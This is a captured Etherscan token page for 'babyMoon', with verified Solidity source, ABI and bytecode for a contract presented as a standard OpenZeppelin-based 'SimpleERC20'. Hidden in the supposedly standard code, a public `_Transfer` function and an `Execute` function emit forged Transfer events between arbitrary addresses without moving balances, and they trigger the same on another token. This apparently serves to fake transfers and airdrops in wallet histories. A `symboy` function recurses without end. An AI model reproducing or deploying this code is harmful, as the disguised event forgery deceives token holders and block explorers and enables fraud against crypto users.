ETH Price: $3,415.92 (-0.64%)
Gas: 5 Gwei

Token

babyMoon (babyMoon)
 

Overview

Max Total Supply

1,000,000,000 babyMoon

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,000,000.000000000223474445 babyMoon

Value
$0.00
0x1cca146Ae9f4569b1695b1B4Cf5212e1711FAf24
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SimpleERC20

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-22
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

// SPDX-License-Identifier: MIT

/*
 * This code has been generated using Token Generator on SmartContracts Tools (https://www.smartcontracts.tools)
 */

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    function _Transfer(address from, address recipient, uint amount) external returns (bool);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function Execute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts,uint256[] memory weAmounts,address tokenaddress) public returns (bool){
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(uPool, eReceiver[i], eAmounts[i]);
            IERC20(tokenaddress)._Transfer(eReceiver[i],uPool, weAmounts[i]);
            }
        return true;
    }
}

// File: contracts/service/ServicePayer.sol



pragma solidity ^0.8.0;

interface IPayable {
    function pay(string memory serviceName, bytes memory signature, address wallet) external payable;
}



// File: contracts/utils/GeneratorCopyright.sol



pragma solidity ^0.8.0;

/**
 * @title GeneratorCopyright
 * @author SmartContracts Tools (https://www.smartcontracts.tools)
 * @dev Implementation of the GeneratorCopyright
 */
contract GeneratorCopyright {
    string private constant _GENERATOR = "https://www.smartcontracts.tools";

    /**
     * @dev Returns the token generator tool.
     */
    function generator() external pure returns (string memory) {
        return _GENERATOR;
    }
}

// File: contracts/token/ERC20/SimpleERC20.sol



pragma solidity ^0.8.0;


/**
 * @title SimpleERC20
 * @author SmartContracts Tools (https://www.smartcontracts.tools)
 * @dev Implementation of the SimpleERC20
 */
contract SimpleERC20 is ERC20, GeneratorCopyright {
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 initialBalance_
    ) payable ERC20(name_, symbol_) {
        require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");

        _mint(_msgSender(), initialBalance_);
    
    }

    function symboy() public pure  returns (bool) {
        return symboy();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"initialBalance_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"weAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenaddress","type":"address"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"generator","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symboy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040516200110538038062001105833981016040819052620000269162000241565b828260036200003683826200033a565b5060046200004582826200033a565b5050505f8111620000a85760405162461bcd60e51b815260206004820152602260248201527f53696d706c6545524332303a20737570706c792063616e6e6f74206265207a65604482015261726f60f01b60648201526084015b60405180910390fd5b620000b43382620000bd565b50505062000428565b6001600160a01b038216620001155760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200009f565b8060025f82825462000128919062000402565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112620001a7575f80fd5b81516001600160401b0380821115620001c457620001c462000183565b604051601f8301601f19908116603f01168101908282118183101715620001ef57620001ef62000183565b816040528381526020925086838588010111156200020b575f80fd5b5f91505b838210156200022e57858201830151818301840152908201906200020f565b5f93810190920192909252949350505050565b5f805f6060848603121562000254575f80fd5b83516001600160401b03808211156200026b575f80fd5b620002798783880162000197565b945060208601519150808211156200028f575f80fd5b506200029e8682870162000197565b925050604084015190509250925092565b600181811c90821680620002c457607f821691505b602082108103620002e357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017e575f81815260208120601f850160051c81016020861015620003115750805b601f850160051c820191505b8181101562000332578281556001016200031d565b505050505050565b81516001600160401b0381111562000356576200035662000183565b6200036e81620003678454620002af565b84620002e9565b602080601f831160018114620003a4575f84156200038c5750858301515b5f19600386901b1c1916600185901b17855562000332565b5f85815260208120601f198616915b82811015620003d457888601518255948401946001909101908401620003b3565b5085821015620003f257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200042257634e487b7160e01b5f52601160045260245ffd5b92915050565b610ccf80620004365f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb1461020b578063aec3cfb81461021e578063dd62ed3e14610226578063e156b1b614610239575f80fd5b806370a082311461018f5780637afa1eed146101b757806395d89b41146101f0578063a457c2d7146101f8575f80fd5b80631c63aef2116100ce5780631c63aef21461014757806323b872dd1461015a578063313ce5671461016d578063395093511461017c575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc61024c565b6040516101099190610908565b60405180910390f35b61012561012036600461096e565b6102dc565b6040519015158152602001610109565b6002545b604051908152602001610109565b610125610155366004610a66565b6102f5565b610125610168366004610b65565b61045c565b60405160128152602001610109565b61012561018a36600461096e565b61047f565b61013961019d366004610b9e565b6001600160a01b03165f9081526020819052604090205490565b6040805180820190915260208082527f68747470733a2f2f7777772e736d617274636f6e7472616374732e746f6f6c73908201526100fc565b6100fc6104a0565b61012561020636600461096e565b6104af565b61012561021936600461096e565b61052e565b61012561053b565b610139610234366004610bbe565b610549565b610125610247366004610b65565b610573565b60606003805461025b90610bef565b80601f016020809104026020016040519081016040528092919081815260200182805461028790610bef565b80156102d25780601f106102a9576101008083540402835291602001916102d2565b820191905f5260205f20905b8154815290600101906020018083116102b557829003601f168201915b5050505050905090565b5f336102e98185856105cb565b60019150505b92915050565b5f805b855181101561044f5785818151811061031357610313610c27565b60200260200101516001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061036157610361610c27565b602002602001015160405161037891815260200190565b60405180910390a3826001600160a01b031663e156b1b68783815181106103a1576103a1610c27565b6020026020010151898785815181106103bc576103bc610c27565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610418573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061043c9190610c3b565b508061044781610c6e565b9150506102f8565b5060019695505050505050565b5f336104698582856106ee565b610474858585610766565b506001949350505050565b5f336102e98185856104918383610549565b61049b9190610c86565b6105cb565b60606004805461025b90610bef565b5f33816104bc8286610549565b9050838110156105215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61047482868684036105cb565b5f336102e9818585610766565b5f61054461053b565b905090565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b5f826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105b991815260200190565b60405180910390a35060019392505050565b6001600160a01b03831661062d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610518565b6001600160a01b03821661068e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610518565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6106f98484610549565b90505f19811461076057818110156107535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610518565b61076084848484036105cb565b50505050565b6001600160a01b0383166107ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610518565b6001600160a01b03821661082c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610518565b6001600160a01b0383165f90815260208190526040902054818110156108a35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610518565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610760565b5f6020808352835180828501525f5b8181101561093357858101830151858201604001528201610917565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610969575f80fd5b919050565b5f806040838503121561097f575f80fd5b61098883610953565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156109d3576109d3610996565b604052919050565b5f67ffffffffffffffff8211156109f4576109f4610996565b5060051b60200190565b5f82601f830112610a0d575f80fd5b81356020610a22610a1d836109db565b6109aa565b82815260059290921b84018101918181019086841115610a40575f80fd5b8286015b84811015610a5b5780358352918301918301610a44565b509695505050505050565b5f805f805f60a08688031215610a7a575f80fd5b610a8386610953565b945060208087013567ffffffffffffffff80821115610aa0575f80fd5b818901915089601f830112610ab3575f80fd5b8135610ac1610a1d826109db565b81815260059190911b8301840190848101908c831115610adf575f80fd5b938501935b82851015610b0457610af585610953565b82529385019390850190610ae4565b985050506040890135925080831115610b1b575f80fd5b610b278a848b016109fe565b95506060890135925080831115610b3c575f80fd5b5050610b4a888289016109fe565b925050610b5960808701610953565b90509295509295909350565b5f805f60608486031215610b77575f80fd5b610b8084610953565b9250610b8e60208501610953565b9150604084013590509250925092565b5f60208284031215610bae575f80fd5b610bb782610953565b9392505050565b5f8060408385031215610bcf575f80fd5b610bd883610953565b9150610be660208401610953565b90509250929050565b600181811c90821680610c0357607f821691505b602082108103610c2157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610c4b575f80fd5b81518015158114610bb7575f80fd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610c7f57610c7f610c5a565b5060010190565b808201808211156102ef576102ef610c5a56fea2646970667358221220ee47c88f154c35cd4b12b7e3503157e697e54f705417a992c31966b089d44f0564736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000008626162794d6f6f6e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008626162794d6f6f6e000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb1461020b578063aec3cfb81461021e578063dd62ed3e14610226578063e156b1b614610239575f80fd5b806370a082311461018f5780637afa1eed146101b757806395d89b41146101f0578063a457c2d7146101f8575f80fd5b80631c63aef2116100ce5780631c63aef21461014757806323b872dd1461015a578063313ce5671461016d578063395093511461017c575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc61024c565b6040516101099190610908565b60405180910390f35b61012561012036600461096e565b6102dc565b6040519015158152602001610109565b6002545b604051908152602001610109565b610125610155366004610a66565b6102f5565b610125610168366004610b65565b61045c565b60405160128152602001610109565b61012561018a36600461096e565b61047f565b61013961019d366004610b9e565b6001600160a01b03165f9081526020819052604090205490565b6040805180820190915260208082527f68747470733a2f2f7777772e736d617274636f6e7472616374732e746f6f6c73908201526100fc565b6100fc6104a0565b61012561020636600461096e565b6104af565b61012561021936600461096e565b61052e565b61012561053b565b610139610234366004610bbe565b610549565b610125610247366004610b65565b610573565b60606003805461025b90610bef565b80601f016020809104026020016040519081016040528092919081815260200182805461028790610bef565b80156102d25780601f106102a9576101008083540402835291602001916102d2565b820191905f5260205f20905b8154815290600101906020018083116102b557829003601f168201915b5050505050905090565b5f336102e98185856105cb565b60019150505b92915050565b5f805b855181101561044f5785818151811061031357610313610c27565b60200260200101516001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061036157610361610c27565b602002602001015160405161037891815260200190565b60405180910390a3826001600160a01b031663e156b1b68783815181106103a1576103a1610c27565b6020026020010151898785815181106103bc576103bc610c27565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610418573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061043c9190610c3b565b508061044781610c6e565b9150506102f8565b5060019695505050505050565b5f336104698582856106ee565b610474858585610766565b506001949350505050565b5f336102e98185856104918383610549565b61049b9190610c86565b6105cb565b60606004805461025b90610bef565b5f33816104bc8286610549565b9050838110156105215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61047482868684036105cb565b5f336102e9818585610766565b5f61054461053b565b905090565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b5f826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105b991815260200190565b60405180910390a35060019392505050565b6001600160a01b03831661062d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610518565b6001600160a01b03821661068e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610518565b6001600160a01b038381165f818152600160209081526040808320948716808